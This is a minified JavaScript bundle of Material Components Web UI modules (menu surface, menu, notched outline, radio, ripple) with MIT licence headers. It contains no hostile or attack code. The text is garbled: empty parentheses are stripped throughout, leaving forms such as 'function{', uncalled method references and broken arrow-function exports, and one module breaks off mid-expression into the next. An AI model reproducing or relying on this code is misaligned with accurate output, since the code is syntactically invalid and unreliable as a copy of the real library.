n=this;if(void 0===e&&(e=!1),this.isSurfaceOpen){if(this.adapter.notifyClosing,this.isQuickOpen)return this.isSurfaceOpen=!1,e||this.maybeRestoreFocus,this.adapter.removeClass(t.cssClasses.OPEN),this.adapter.removeClass(t.cssClasses.IS_OPEN_BELOW),void this.adapter.notifyClose;this.adapter.addClass(t.cssClasses.ANIMATING_CLOSED),requestAnimationFrame((function{n.adapter.removeClass(t.cssClasses.OPEN),n.adapter.removeClass(t.cssClasses.IS_OPEN_BELOW),n.closeAnimationEndTimerId=setTimeout((function{n.closeAnimationEndTimerId=0,n.adapter.removeClass(t.cssClasses.ANIMATING_CLOSED),n.adapter.notifyClose}),o.KT.TRANSITION_CLOSE_DURATION)})),this.isSurfaceOpen=!1,e||this.maybeRestoreFocus}},t.prototype.handleBodyClick=function(e){var t=e.target;this.adapter.isElementInContainer(t)||this.close},t.prototype.handleKeydown=function(e){var t=e.keyCode;("Escape"===e.key||27===t)&&this.close},t.prototype.autoposition=function{var e;this.measurements=this.getAutoLayoutmeasurements;var n=this.getoriginCorner,i=this.getMenuSurfaceMaxHeight(n),r=this.hasBit(n,o.HX.BOTTOM)?"bottom":"top",a=this.hasBit(n,o.HX.RIGHT)?"right":"left",s=this.getHorizontalOriginOffset(n),l=this.getVerticalOriginOffset(n),c=this.measurements,d=c.anchorSize,u=c.surfaceSize,p=((e={})[a]=s,e[r]=l,e);d.width/u.width>o.KT.ANCHOR_TO_MENU_SURFACE_WIDTH_RATIO&&(a="center"),(this.isHoistedElement||this.isFixedPosition)&&this.adjustPositionForHoistedElement(p),this.adapter.setTransformOrigin(a+" "+r),this.adapter.setPosition(p),this.adapter.setMaxHeight(i?i+"px":""),this.hasBit(n,o.HX.BOTTOM)||this.adapter.addClass(t.cssClasses.IS_OPEN_BELOW)},t.prototype.getAutoLayoutmeasurements=function{var e=this.adapter.getAnchorDimensions,t=this.adapter.getBodyDimensions,n=this.adapter.getWindowDimensions,i=this.adapter.getWindowScroll;return e||(e={top:this.position.y,right:this.position.x,bottom:this.position.y,left:this.position.x,width:0,height:0}),{anchorSize:e,bodySize:t,surfaceSize:this.dimensions,viewportDistance:{top:e.top,right:n.width-e.right,bottom:n.height-e.bottom,left:e.left},viewportSize:n,windowScroll:i}},t.prototype.getoriginCorner=function{var e,n,i=this.originCorner,r=this.measurements,a=r.viewportDistance,s=r.anchorSize,l=r.surfaceSize,c=t.numbers.MARGIN_TO_EDGE;this.hasBit(this.anchorCorner,o.HX.BOTTOM)?(e=a.top-c+this.anchorMargin.bottom,n=a.bottom-c-this.anchorMargin.bottom):(e=a.top-c+this.anchorMargin.top,n=a.bottom-c+s.height-this.anchorMargin.top),!(n-l.height>0)&&e>n&&(i=this.setBit(i,o.HX.BOTTOM));var d,u,p=this.adapter.isRtl,h=this.hasBit(this.anchorCorner,o.HX.FLIP_RTL),f=this.hasBit(this.anchorCorner,o.HX.RIGHT)||this.hasBit(i,o.HX.RIGHT),g=!1;(g=p&&h?!f:f)?(d=a.left+s.width+this.anchorMargin.right,u=a.right-this.anchorMargin.right):(d=a.left+this.anchorMargin.left,u=a.right+s.width-this.anchorMargin.left);var m=d-l.width>0,v=u-l.width>0,A=this.hasBit(i,o.HX.FLIP_RTL)&&this.hasBit(i,o.HX.RIGHT);return v&&A&&p||!m&&A?i=this.unsetBit(i,o.HX.RIGHT):(m&&g&&p||m&&!g&&f||!v&&d>=u)&&(i=this.setBit(i,o.HX.RIGHT)),i},t.prototype.getMenuSurfaceMaxHeight=function(e){if(this.maxHeight>0)return this.maxHeight;var n=this.measurements.viewportDistance,i=0,r=this.hasBit(e,o.HX.BOTTOM),a=this.hasBit(this.anchorCorner,o.HX.BOTTOM),s=t.numbers.MARGIN_TO_EDGE;return r?(i=n.top+this.anchorMargin.top-s,a||(i+=this.measurements.anchorSize.height)):(i=n.bottom-this.anchorMargin.bottom+this.measurements.anchorSize.height-s,a&&(i-=this.measurements.anchorSize.height)),i},t.prototype.getHorizontalOriginOffset=function(e){var t=this.measurements.anchorSize,n=this.hasBit(e,o.HX.RIGHT),i=this.hasBit(this.anchorCorner,o.HX.RIGHT);if(n){var r=i?t.width-this.anchorMargin.left:this.anchorMargin.right;return this.isHoistedElement||this.isFixedPosition?r-(this.measurements.viewportSize.width-this.measurements.bodySize.width):r}return i?t.width-this.anchorMargin.right:this.anchorMargin.left},t.prototype.getVerticalOriginOffset=function(e){var t=this.measurements.anchorSize,n=this.hasBit(e,o.HX.BOTTOM),i=this.hasBit(this.anchorCorner,o.HX.BOTTOM);return n?i?t.height-this.anchorMargin.top:-this.anchorMargin.bottom:i?t.height+this.anchorMargin.bottom:this.anchorMargin.top},t.prototype.adjustPositionForHoistedElement=function(e){var t,n,r=this.measurements,o=r.windowScroll,a=r.viewportDistance,s=r.surfaceSize,l=r.viewportSize,c=Object.keys(e);try{for(var d=(0,i.__values)(c),u=d.next;!u.done;u=d.next){var p=u.value,h=e[p]||0;!this.isHorizontallyCenteredOnViewport||"left"!==p&&"right"!==p?(h+=a[p],this.isFixedPosition||("top"===p?h+=o.y:"bottom"===p?h-=o.y:"left"===p?h+=o.x:h-=o.x),e[p]=h):e[p]=(l.width-s.width)/2}}catch(e){t={error:e}}finally{try{u&&!u.done&&(n=d.return)&&n.call(d)}finally{if(t)throw t.error}}},t.prototype.maybeRestoreFocus=function{var e=this,t=this.adapter.isFocused,n=document.activeElement&&this.adapter.isElementInContainer(document.activeElement);(t||n)&&setTimeout((function{e.adapter.restoreFocus}),o.KT.TOUCH_EVENT_WAIT_MS)},t.prototype.hasBit=function(e,t){return Boolean(e&t)},t.prototype.setBit=function(e,t){return e|t},t.prototype.unsetBit=function(e,t){return e^t},t.prototype.isFinite=function(e){return"number"==typeof e&&isFinite(e)},t}(r.K)},4144:(e,t,n)=>{"use strict";n.d(t,{g:=>g});var i=n(655),r=n(5179),o=n(2851),a=n(4072),s=n(5794),l=n(9978),c=n(5479),d=n(7277),u=n(5475),p=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialSyncWithDOM=function{var e=this,t=this.root.parentElement;this.anchorElement=t&&t.classList.contains(c.UX.ANCHOR)?t:null,this.root.classList.contains(c.UX.FIXED)&&this.setFixedPosition(!0),this.handleKeydown=function(t){e.foundation.handleKeydown(t)},this.handleBodyClick=function(t){e.foundation.handleBodyClick(t)},this.registerBodyClickListener=function{document.body.addEventListener("click",e.handleBodyClick,{capture:!0})},this.deregisterBodyClickListener=function{document.body.removeEventListener("click",e.handleBodyClick,{capture:!0})},this.listen("keydown",this.handleKeydown),this.listen(c.j2.OPENED_EVENT,this.registerBodyClickListener),this.listen(c.j2.CLOSED_EVENT,this.deregisterBodyClickListener)},t.prototype.destroy=function{this.unlisten("keydown",this.handleKeydown),this.unlisten(c.j2.OPENED_EVENT,this.registerBodyClickListener),this.unlisten(c.j2.CLOSED_EVENT,this.deregisterBodyClickListener),e.prototype.destroy.call(this)},t.prototype.isOpen=function{return this.foundation.isOpen},t.prototype.open=function{this.foundation.open},t.prototype.close=function(e){void 0===e&&(e=!1),this.foundation.close(e)},Object.defineProperty(t.prototype,"quickOpen",{set:function(e){this.foundation.setQuickOpen(e)},enumerable:!1,configurable:!0}),t.prototype.setIsHoisted=function(e){this.foundation.setIsHoisted(e)},t.prototype.setMenuSurfaceAnchorElement=function(e){this.anchorElement=e},t.prototype.setFixedPosition=function(e){e?this.root.classList.add(c.UX.FIXED):this.root.classList.remove(c.UX.FIXED),this.foundation.setFixedPosition(e)},t.prototype.setAbsolutePosition=function(e,t){this.foundation.setAbsolutePosition(e,t),this.setIsHoisted(!0)},t.prototype.setAnchorCorner=function(e){this.foundation.setAnchorCorner(e)},t.prototype.setAnchorMargin=function(e){this.foundation.setAnchorMargin(e)},t.prototype.getDefaultFoundation=function{var e=this,t={addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},hasAnchor:function{return!!e.anchorElement},notifyClose:function{return e.emit(d.k.strings.CLOSED_EVENT,{})},notifyClosing:function{e.emit(d.k.strings.CLOSING_EVENT,{})},notifyOpen:function{return e.emit(d.k.strings.OPENED_EVENT,{})},isElementInContainer:function(t){return e.root.contains(t)},isRtl:function{return"rtl"===getComputedStyle(e.root).getPropertyValue("direction")},setTransformOrigin:function(t){var n=(0,u.E)(window,"transform")+"-origin";e.root.style.setProperty(n,t)},isFocused:function{return document.activeElement===e.root},saveFocus:function{e.previousFocus=document.activeElement},restoreFocus:function{e.root.contains(document.activeElement)&&e.previousFocus&&e.previousFocus.focus&&e.previousFocus.focus},getInnerDimensions:function{return{width:e.root.offsetWidth,height:e.root.offsetHeight}},getAnchorDimensions:function{return e.anchorElement?e.anchorElement.getBoundingClientRect:null},getWindowDimensions:function{return{width:window.innerWidth,height:window.innerHeight}},getBodyDimensions:function{return{width:document.body.clientWidth,height:document.body.clientHeight}},getWindowScroll:function{return{x:window.pageXOffset,y:window.pageYOffset}},setPosition:function(t){var n=e.root;n.style.left="left"in t?t.left+"px":"",n.style.right="right"in t?t.right+"px":"",n.style.top="top"in t?t.top+"px":"",n.style.bottom="bottom"in t?t.bottom+"px":""},setMaxHeight:function(t){e.root.style.maxHeight=t}};return new d.k(t)},t}(r.B),h=n(7589),f=n(7424),g=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function(e,t){void 0===e&&(e=function(e){return new p(e)}),void 0===t&&(t=function(e){return new a.MDCList(e)}),this.menuSurfaceFactory=e,this.listFactory=t},t.prototype.initialSyncWithDOM=function{var e=this;this.menuSurface=this.menuSurfaceFactory(this.root);var t=this.root.querySelector(h.j2.LIST_SELECTOR);t?(this.list=this.listFactory(t),this.list.wrapFocus=!0):this.list=null,this.handleKeydown=function(t){e.foundation.handleKeydown(t)},this.handleItemAction=function(t){e.foundation.handleItemAction(e.items[t.detail.index])},this.handleMenuSurfaceOpened=function{e.foundation.handleMenuSurfaceOpened},this.menuSurface.listen(d.k.strings.OPENED_EVENT,this.handleMenuSurfaceOpened),this.listen("keydown",this.handleKeydown),this.listen(l.I.strings.ACTION_EVENT,this.handleItemAction)},t.prototype.destroy=function{this.list&&this.list.destroy,this.menuSurface.destroy,this.menuSurface.unlisten(d.k.strings.OPENED_EVENT,this.handleMenuSurfaceOpened),this.unlisten("keydown",this.handleKeydown),this.unlisten(l.I.strings.ACTION_EVENT,this.handleItemAction),e.prototype.destroy.call(this)},Object.defineProperty(t.prototype,"open",{get:function{return this.menuSurface.isOpen},set:function(e){e?this.menuSurface.open:this.menuSurface.close},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"wrapFocus",{get:function{return!!this.list&&this.list.wrapFocus},set:function(e){this.list&&(this.list.wrapFocus=e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"hasTypeahead",{set:function(e){this.list&&(this.list.hasTypeahead=e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"typeaheadInProgress",{get:function{return!!this.list&&this.list.typeaheadInProgress},enumerable:!1,configurable:!0}),t.prototype.typeaheadMatchItem=function(e,t){return this.list?this.list.typeaheadMatchItem(e,t):-1},t.prototype.layout=function{this.list&&this.list.layout},Object.defineProperty(t.prototype,"items",{get:function{return this.list?this.list.listElements:[]},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"singleSelection",{set:function(e){this.list&&(this.list.singleSelection=e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"selectedIndex",{get:function{return this.list?this.list.selectedIndex:s.KT.UNSET_INDEX},set:function(e){this.list&&(this.list.selectedIndex=e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"quickOpen",{set:function(e){this.menuSurface.quickOpen=e},enumerable:!1,configurable:!0}),t.prototype.setDefaultFocusState=function(e){this.foundation.setDefaultFocusState(e)},t.prototype.setAnchorCorner=function(e){this.menuSurface.setAnchorCorner(e)},t.prototype.setAnchorMargin=function(e){this.menuSurface.setAnchorMargin(e)},t.prototype.setSelectedIndex=function(e){this.foundation.setSelectedIndex(e)},t.prototype.setEnabled=function(e,t){this.foundation.setEnabled(e,t)},t.prototype.getOptionByIndex=function(e){return e<this.items.length?this.items[e]:null},t.prototype.getPrimaryTextAtIndex=function(e){var t=this.getOptionByIndex(e);return t&&this.list&&this.list.getPrimaryText(t)||""},t.prototype.setFixedPosition=function(e){this.menuSurface.setFixedPosition(e)},t.prototype.setIsHoisted=function(e){this.menuSurface.setIsHoisted(e)},t.prototype.setAbsolutePosition=function(e,t){this.menuSurface.setAbsolutePosition(e,t)},t.prototype.setAnchorElement=function(e){this.menuSurface.anchorElement=e},t.prototype.getDefaultFoundation=function{var e=this,t={addClassToElementAtIndex:function(t,n){e.items[t].classList.add(n)},removeClassFromElementAtIndex:function(t,n){e.items[t].classList.remove(n)},addAttributeToElementAtIndex:function(t,n,i){e.items[t].setAttribute(n,i)},removeAttributeFromElementAtIndex:function(t,n){e.items[t].removeAttribute(n)},getAttributeFromElementAtIndex:function(t,n){return e.items[t].getAttribute(n)},elementContainsClass:function(e,t){return e.classList.contains(t)},closeSurface:function(t){e.menuSurface.close(t)},getElementIndex:function(t){return e.items.indexOf(t)},notifySelected:function(t){e.emit(h.j2.SELECTED_EVENT,{index:t.index,item:e.items[t.index]})},getMenuItemCount:function{return e.items.length},focusItemAtIndex:function(t){e.items[t].focus},focusListRoot:function{e.root.querySelector(h.j2.LIST_SELECTOR).focus},isSelectableItemAtIndex:function(t){return!!(0,o.oq)(e.items[t],"."+h.UX.MENU_SELECTION_GROUP)},getSelectedSiblingOfItemAtIndex:function(t){var n=(0,o.oq)(e.items[t],"."+h.UX.MENU_SELECTION_GROUP).querySelector("."+h.UX.MENU_SELECTED_LIST_ITEM);return n?e.items.indexOf(n):-1}};return new f.b(t)},t}(r.B)},7589:(e,t,n)=>{"use strict";n.d(t,{UX:=>r,j2:=>o,KT:=>a,yM:=>i}); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i,r={MENU_SELECTED_LIST_ITEM:"mdc-menu-item--selected",MENU_SELECTION_GROUP:"mdc-menu__selection-group",ROOT:"mdc-menu"},o={ARIA_CHECKED_ATTR:"aria-checked",ARIA_DISABLED_ATTR:"aria-disabled",CHECKBOX_SELECTOR:'input[type="checkbox"]',LIST_SELECTOR:".mdc-list,.mdc-deprecated-list",SELECTED_EVENT:"MDCMenu:selected",SKIP_RESTORE_FOCUS:"data-menu-item-skip-restore-focus"},a={FOCUS_ROOT_INDEX:-1};!function(e){e[e.NONE=0]="NONE",e[e.LIST_ROOT=1]="LIST_ROOT",e[e.FIRST_ITEM=2]="FIRST_ITEM",e[e.LAST_ITEM=3]="LAST_ITEM"}(i||(i={}))},7424:(e,t,n)=>{"use strict";n.d(t,{b:=>l});var i=n(655),r=n(6308),o=n(5794),a=n(7277),s=n(7589),l=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.closeAnimationEndTimerId=0,r.defaultFocusState=s.yM.LIST_ROOT,r.selectedIndex=-1,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return s.UX},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return s.j2},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return s.KT},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClassToElementAtIndex:function{},removeClassFromElementAtIndex:function{},addAttributeToElementAtIndex:function{},removeAttributeFromElementAtIndex:function{},getAttributeFromElementAtIndex:function{return null},elementContainsClass:function{return!1},closeSurface:function{},getElementIndex:function{return-1},notifySelected:function{},getMenuItemCount:function{return 0},focusItemAtIndex:function{},focusListRoot:function{},getSelectedSiblingOfItemAtIndex:function{return-1},isSelectableItemAtIndex:function{return!1}}},enumerable:!1,configurable:!0}),t.prototype.destroy=function{this.closeAnimationEndTimerId&&clearTimeout(this.closeAnimationEndTimerId),this.adapter.closeSurface},t.prototype.handleKeydown=function(e){var t=e.key,n=e.keyCode;("Tab"===t||9===n)&&this.adapter.closeSurface(!0)},t.prototype.handleItemAction=function(e){var t=this,n=this.adapter.getElementIndex(e);if(!(n<0)){this.adapter.notifySelected({index:n});var i="true"===this.adapter.getAttributeFromElementAtIndex(n,s.j2.SKIP_RESTORE_FOCUS);this.adapter.closeSurface(i),this.closeAnimationEndTimerId=setTimeout((function{var n=t.adapter.getElementIndex(e);n>=0&&t.adapter.isSelectableItemAtIndex(n)&&t.setSelectedIndex(n)}),a.k.numbers.TRANSITION_CLOSE_DURATION)}},t.prototype.handleMenuSurfaceOpened=function{switch(this.defaultFocusState){case s.yM.FIRST_ITEM:this.adapter.focusItemAtIndex(0);break;case s.yM.LAST_ITEM:this.adapter.focusItemAtIndex(this.adapter.getMenuItemCount-1);break;case s.yM.NONE:break;default:this.adapter.focusListRoot}},t.prototype.setDefaultFocusState=function(e){this.defaultFocusState=e},t.prototype.getSelectedIndex=function{return this.selectedIndex},t.prototype.setSelectedIndex=function(e){if(this.validatedIndex(e),!this.adapter.isSelectableItemAtIndex(e))throw new Error("MDCMenuFoundation: No selection group at specified index.");var t=this.adapter.getSelectedSiblingOfItemAtIndex(e);t>=0&&(this.adapter.removeAttributeFromElementAtIndex(t,s.j2.ARIA_CHECKED_ATTR),this.adapter.removeClassFromElementAtIndex(t,s.UX.MENU_SELECTED_LIST_ITEM)),this.adapter.addClassToElementAtIndex(e,s.UX.MENU_SELECTED_LIST_ITEM),this.adapter.addAttributeToElementAtIndex(e,s.j2.ARIA_CHECKED_ATTR,"true"),this.selectedIndex=e},t.prototype.setEnabled=function(e,t){this.validatedIndex(e),t?(this.adapter.removeClassFromElementAtIndex(e,o.UX.LIST_ITEM_DISABLED_CLASS),this.adapter.addAttributeToElementAtIndex(e,s.j2.ARIA_DISABLED_ATTR,"false")):(this.adapter.addClassToElementAtIndex(e,o.UX.LIST_ITEM_DISABLED_CLASS),this.adapter.addAttributeToElementAtIndex(e,s.j2.ARIA_DISABLED_ATTR,"true"))},t.prototype.validatedIndex=function(e){var t=this.adapter.getMenuItemCount;if(!(e>=0&&e{"use strict";n.r(t),n.d(t,{Corner:=>i.Ns,MDCMenu:=>r.g,DefaultFocusState:=>o.yM,cssClasses:=>o.UX,numbers:=>o.KT,strings:=>o.j2,MDCMenuFoundation:=>a.b});var i=n(5479),r=n(4144),o=n(7589),a=n(7424)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,9966:(e,t,n)=>{"use strict";n.d(t,{A:=>d});var i=n(655),r=n(5179),o=n(8678),a={NOTCH_ELEMENT_SELECTOR:".mdc-notched-outline__notch"},s={NOTCH_ELEMENT_PADDING:8},l={NO_LABEL:"mdc-notched-outline--no-label",OUTLINE_NOTCHED:"mdc-notched-outline--notched",OUTLINE_UPGRADED:"mdc-notched-outline--upgraded"},c=function(e){function t(n){return e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this}return(0,i.__extends)(t,e),Object.defineProperty(t,"strings",{get:function{return a},enumerable:!1,configurable:!0}),Object.defineProperty(t,"cssClasses",{get:function{return l},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return s},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},setNotchWidthProperty:function{},removeNotchWidthProperty:function{}}},enumerable:!1,configurable:!0}),t.prototype.notch=function(e){var n=t.cssClasses.OUTLINE_NOTCHED;e>0&&(e+=s.NOTCH_ELEMENT_PADDING),this.adapter.setNotchWidthProperty(e),this.adapter.addClass(n)},t.prototype.closeNotch=function{var e=t.cssClasses.OUTLINE_NOTCHED;this.adapter.removeClass(e),this.adapter.removeNotchWidthProperty},t}(n(6308).K); /** * @license * Copyright 2017 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var d=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialSyncWithDOM=function{this.notchElement=this.root.querySelector(a.NOTCH_ELEMENT_SELECTOR);var e=this.root.querySelector("."+o.T.cssClasses.ROOT);e?(e.style.transitionDuration="0s",this.root.classList.add(l.OUTLINE_UPGRADED),requestAnimationFrame((function{e.style.transitionDuration=""}))):this.root.classList.add(l.NO_LABEL)},t.prototype.notch=function(e){this.foundation.notch(e)},t.prototype.closeNotch=function{this.foundation.closeNotch},t.prototype.getDefaultFoundation=function{var e=this;return new c({addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},setNotchWidthProperty:function(t){e.notchElement.style.setProperty("width",t+"px")},removeNotchWidthProperty:function{e.notchElement.style.removeProperty("width")}})},t}(r.B)},4394:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCRadio:=>p});var i=n(655),r=n(5179),o=n(9397),a=n(1661),s=n(514),l=n(6308),c={NATIVE_CONTROL_SELECTOR:".mdc-radio__native-control"},d={DISABLED:"mdc-radio--disabled",ROOT:"mdc-radio"},u=function(e){function t(n){return e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return d},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return c},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},setNativeControlDisabled:function{}}},enumerable:!1,configurable:!0}),t.prototype.setDisabled=function(e){var n=t.cssClasses.DISABLED;this.adapter.setNativeControlDisabled(e),e?this.adapter.addClass(n):this.adapter.removeClass(n)},t}(l.K); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var p=function(e){function t{var t=null!==e&&e.apply(this,arguments)||this;return t.rippleSurface=t.createRipple,t}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"checked",{get:function{return this.nativeControl.checked},set:function(e){this.nativeControl.checked=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"disabled",{get:function{return this.nativeControl.disabled},set:function(e){this.foundation.setDisabled(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"value",{get:function{return this.nativeControl.value},set:function(e){this.nativeControl.value=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"ripple",{get:function{return this.rippleSurface},enumerable:!1,configurable:!0}),t.prototype.destroy=function{this.rippleSurface.destroy,e.prototype.destroy.call(this)},t.prototype.getDefaultFoundation=function{var e=this;return new u({addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},setNativeControlDisabled:function(t){return e.nativeControl.disabled=t}})},t.prototype.createRipple=function{var e=this,t=(0,i.__assign)((0,i.__assign)({},a.F.createAdapter(this)),{registerInteractionHandler:function(t,n){e.nativeControl.addEventListener(t,n,(0,o.K))},deregisterInteractionHandler:function(t,n){e.nativeControl.removeEventListener(t,n,(0,o.K))},isSurfaceActive:function{return!1},isUnbounded:function{return!0}});return new a.F(this.root,new s.l(t))},Object.defineProperty(t.prototype,"nativeControl",{get:function{var e=u.strings.NATIVE_CONTROL_SELECTOR,t=this.root.querySelector(e);if(!t)throw new Error("Radio component requires a "+e+" element");return t},enumerable:!1,configurable:!0}),t}(r.B)},1661:(e,t,n)=>{"use strict";n.d(t,{F:=>c});var i=n(655),r=n(5179),o=n(9397),a=n(2851),s=n(514),l=n(4014),c=function(e){function t{var t=null!==e&&e.apply(this,arguments)||this;return t.disabled=!1,t}return(0,i.__extends)(t,e),t.attachTo=function(e,n){void 0===n&&(n={isUnbounded:void 0});var i=new t(e);return void 0!==n.isUnbounded&&(i.unbounded=n.isUnbounded),i},t.createAdapter=function(e){return{addClass:function(t){return e.root.classList.add(t)},browserSupportsCssVars:function{return l.supportsCssVariables(window)},computeBoundingRect:function{return e.root.getBoundingClientRect},containsEventTarget:function(t){return e.root.contains(t)},deregisterDocumentInteractionHandler:function(e,t){return document.documentElement.removeEventListener(e,t,(0,o.K))},deregisterInteractionHandler:function(t,n){return e.root.removeEventListener(t,n,(0,o.K))},deregisterResizeHandler:function(e){return window.removeEventListener("resize",e)},getWindowPageOffset:function{return{x:window.pageXOffset,y:window.pageYOffset}},isSurfaceActive:function{return(0,a.wB)(e.root,":active")},isSurfaceDisabled:function{return Boolean(e.disabled)},isUnbounded:function{return Boolean(e.unbounded)},registerDocumentInteractionHandler:function(e,t){return document.documentElement.addEventListener(e,t,(0,o.K))},registerInteractionHandler:function(t,n){return e.root.addEventListener(t,n,(0,o.K))},registerResizeHandler:function(e){return window.addEventListener("resize",e)},removeClass:function(t){return e.root.classList.remove(t)},updateCssVariable:function(t,n){return e.root.style.setProperty(t,n)}}},Object.defineProperty(t.prototype,"unbounded",{get:function{return Boolean(this.isUnbounded)},set:function(e){this.isUnbounded=Boolean(e),this.setUnbounded},enumerable:!1,configurable:!0}),t.prototype.activate=function{this.foundation.activate},t.prototype.deactivate=function{this.foundation.deactivate},t.prototype.layout=function{this.foundation.layout},t.prototype.getDefaultFoundation=function{return new s.l(t.createAdapter(this))},t.prototype.initialSyncWithDOM=function{var e=this.root;this.isUnbounded="mdcRippleIsUnbounded"in e.dataset},t.prototype.setUnbounded=function{this.foundation.setUnbounded(Boolean(this.isUnbounded))},t}(r.B)},9552:(e,t,n)=>{"use strict";n.d(t,{UX:=>i,j2:=>r,KT:=>o}); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE 